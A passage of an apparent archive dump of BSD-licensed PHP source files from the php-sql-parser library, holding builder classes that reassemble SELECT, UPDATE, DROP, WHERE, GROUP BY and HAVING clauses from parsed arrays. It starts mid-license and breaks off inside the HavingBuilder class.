 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * A builder can create a part of an SQL statement. The necessary information
 * are provided by the function parameter as array. This array is a subtree
 * of the PHPSQLParser output.
 * 
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 */
interface Builder {
    /**
     * Builds a part of an SQL statement.
     * 
     * @param array $parsed a subtree of the PHPSQLParser output array
     * 
     * @return A string, which contains a part of an SQL statement.
     */
    public function build(array $parsed);
}

?>
PK     \X+    U  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SelectExpressionBuilder.phpnu [        <?php
/**
 * SelectExpressionBuilder.php
 *
 * Builds simple expressions within a SELECT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for simple expressions within a SELECT statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SelectExpressionBuilder implements Builder {

    protected function buildSubTree($parsed, $delim) {
        $builder = new SubTreeBuilder();
        return $builder->build($parsed, $delim);
    }

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::EXPRESSION) {
            return "";
        }
        $sql = $this->buildSubTree($parsed, " ");
        $sql .= $this->buildAlias($parsed);
        return $sql;
    }
}
?>
PK     \t/Z.R  R  I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DropBuilder.phpnu [        <?php
/**
 * DropBuilder.php
 *
 * Builds the CREATE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the [DROP] part. You can overwrite
 * all functions to achieve another handling.
 */
class DropBuilder implements Builder {

	protected function buildDropIndex( $parsed ) {
		$builder = new DropIndexBuilder();

		return $builder->build( $parsed );
	}

	protected function buildReserved( $parsed ) {
		$builder = new ReservedBuilder();

		return $builder->build( $parsed );
	}

	protected function buildExpression( $parsed ) {
		$builder = new DropExpressionBuilder();

		return $builder->build( $parsed );
	}

	protected function buildSubTree( $parsed ) {
		$sql = '';
		foreach ( $parsed['sub_tree'] as $k => $v ) {
			$len = strlen( $sql );
			$sql .= $this->buildReserved( $v );
			$sql .= $this->buildExpression( $v );

			if ( $len == strlen( $sql ) ) {
				throw new UnableToCreateSQLException( 'DROP subtree', $k, $v, 'expr_type' );
			}

			$sql .= ' ';
		}

		return $sql;
	}

	public function build( array $parsed ) {
		$drop = $parsed['DROP'];
		$sql  = $this->buildSubTree( $drop );

		if ( $drop['expr_type'] === ExpressionType::INDEX ) {
			$sql .= '' . $this->buildDropIndex( $parsed['INDEX'] ) . ' ';
		}

		return 'DROP ' . substr( $sql, 0, -1 );
	}

}

?>
PK     \ĸ    T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UpdateStatementBuilder.phpnu [        <?php
/**
 * UpdateStatement.php
 *
 * Builds the UPDATE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Update statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UpdateStatementBuilder implements Builder {

    protected function buildWHERE($parsed) {
        $builder = new WhereBuilder();
        return $builder->build($parsed);
    }

    protected function buildSET($parsed) {
        $builder = new SetBuilder();
        return $builder->build($parsed);
    }

    protected function buildUPDATE($parsed) {
        $builder = new UpdateBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = $this->buildUPDATE($parsed['UPDATE']) . " " . $this->buildSET($parsed['SET']);
        if (isset($parsed['WHERE'])) {
            $sql .= " " . $this->buildWHERE($parsed['WHERE']);
        }
        return $sql;
    }
}
?>
PK     \mHD\  \  V  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/GroupByExpressionBuilder.phpnu [        <?php
/**
 * GroupByExpressionBuilder.php
 *
 * Builds an expression within a GROUP-BY clause.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    oohook <oohook@163.com>
 * @copyright 2010-2016 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * @example   group by id desc
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for an alias within the GROUP-BY clause. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  oohook <oohook@163.com>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class GroupByExpressionBuilder implements Builder {

	protected function buildColRef($parsed) {
		$builder = new ColumnReferenceBuilder();
		return $builder->build($parsed);
	}
	
	protected function buildReserved($parsed) {
		$builder = new ReservedBuilder();
		return $builder->build($parsed);
	}
	
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::EXPRESSION) {
            return "";
        }
        
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildReserved($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('GROUP expression subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }

        $sql = substr($sql, 0, -1);
        return $sql;
    }
}
?>
PK     \TJ>x	  x	  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ProcedureBuilder.phpnu [        <?php
/**
 * Procedureuilder.php
 *
 * Builds the procedures within the SHOW statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for a procedure within SHOW statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ProcedureBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::PROCEDURE) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \ަf\  \  L  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SubTreeBuilder.phpnu [        <?php
/**
 * SubTreeBuilder.php
 *
 * Builds the statements for [sub_tree] fields.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for [sub_tree] fields.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class SubTreeBuilder implements Builder {

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildInList($parsed) {
        $builder = new InListBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed);
    }

    protected function buildQuery($parsed) {
        $builder = new QueryBuilder();
        return $builder->build($parsed);
    }

    protected function buildSelectBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildUserVariable($parsed) {
        $builder = new UserVariableBuilder();
        return $builder->build($parsed);
    }

    protected function buildSign($parsed) {
        $builder = new SignBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed, $delim = " ") {
        if ($parsed['sub_tree'] === '' || $parsed['sub_tree'] === false) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildSelectBracketExpression($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildQuery($v);
            $sql .= $this->buildUserVariable($v);
            $sign = $this->buildSign($v);
            $sql .= $sign;

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('expression subtree', $k, $v, 'expr_type');
            }

            // We don't need whitespace between a sign and the following part.
            if ($sign === '') {
                $sql .= $delim;
            }
        }
        return substr($sql, 0, -strlen($delim));
    }
}
?>
PK     \%nb  b  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexCommentBuilder.phpnu [        <?php
/**
 * IndexCommentBuilder.php
 *
 * Builds index comment part of a CREATE INDEX statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index comment of CREATE INDEX statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexCommentBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COMMENT) {
            return '';
        }
        $sql = '';
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildConstant($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE INDEX comment subtree', $k, $v, 'expr_type');
            }

            $sql .= ' ';
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \:    J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/WhereBuilder.phpnu [        <?php
/**
 * WhereBuilder.php
 *
 * Builds the WHERE part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the WHERE part.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class WhereBuilder implements Builder {

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed);
    }

    protected function buildInList($parsed) {
        $builder = new InListBuilder();
        return $builder->build($parsed);
    }

    protected function buildWhereExpression($parsed) {
        $builder = new WhereExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildWhereBracketExpression($parsed) {
        $builder = new WhereBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildUserVariable($parsed) {
        $builder = new UserVariableBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
      $builder = new ReservedBuilder();
      return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "WHERE ";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);

            $sql .= $this->buildOperator($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildWhereExpression($v);
            $sql .= $this->buildWhereBracketExpression($v);
            $sql .= $this->buildUserVariable($v);
            $sql .= $this->buildReserved($v);
            
            if (strlen($sql) == $len) {
                throw new UnableToCreateSQLException('WHERE', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }

}
?>
PK     \/!    K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/HavingBuilder.phpnu [        <?php
/**
 * HavingBuilder.php
 *
 * Builds the HAVING part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the HAVING part. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  Ian Barker <ian@theorganicagency.com>
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class HavingBuilder extends WhereBuilder {

    protected function buildAliasReference($parsed) {
        $builder = new AliasReferenceBuilder();
        return $builder->build($parsed);
    }
	
	protected function buildHavingExpression($parsed) {
        $builder = new HavingExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildHavingBracketExpression($parsed) {
        $builder = new HavingBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "HAVING ";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);

            $sql .= $this->buildAliasReference($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildHavingExpression($v);
            $sql .= $this->buildHavingBracketExpression($v);
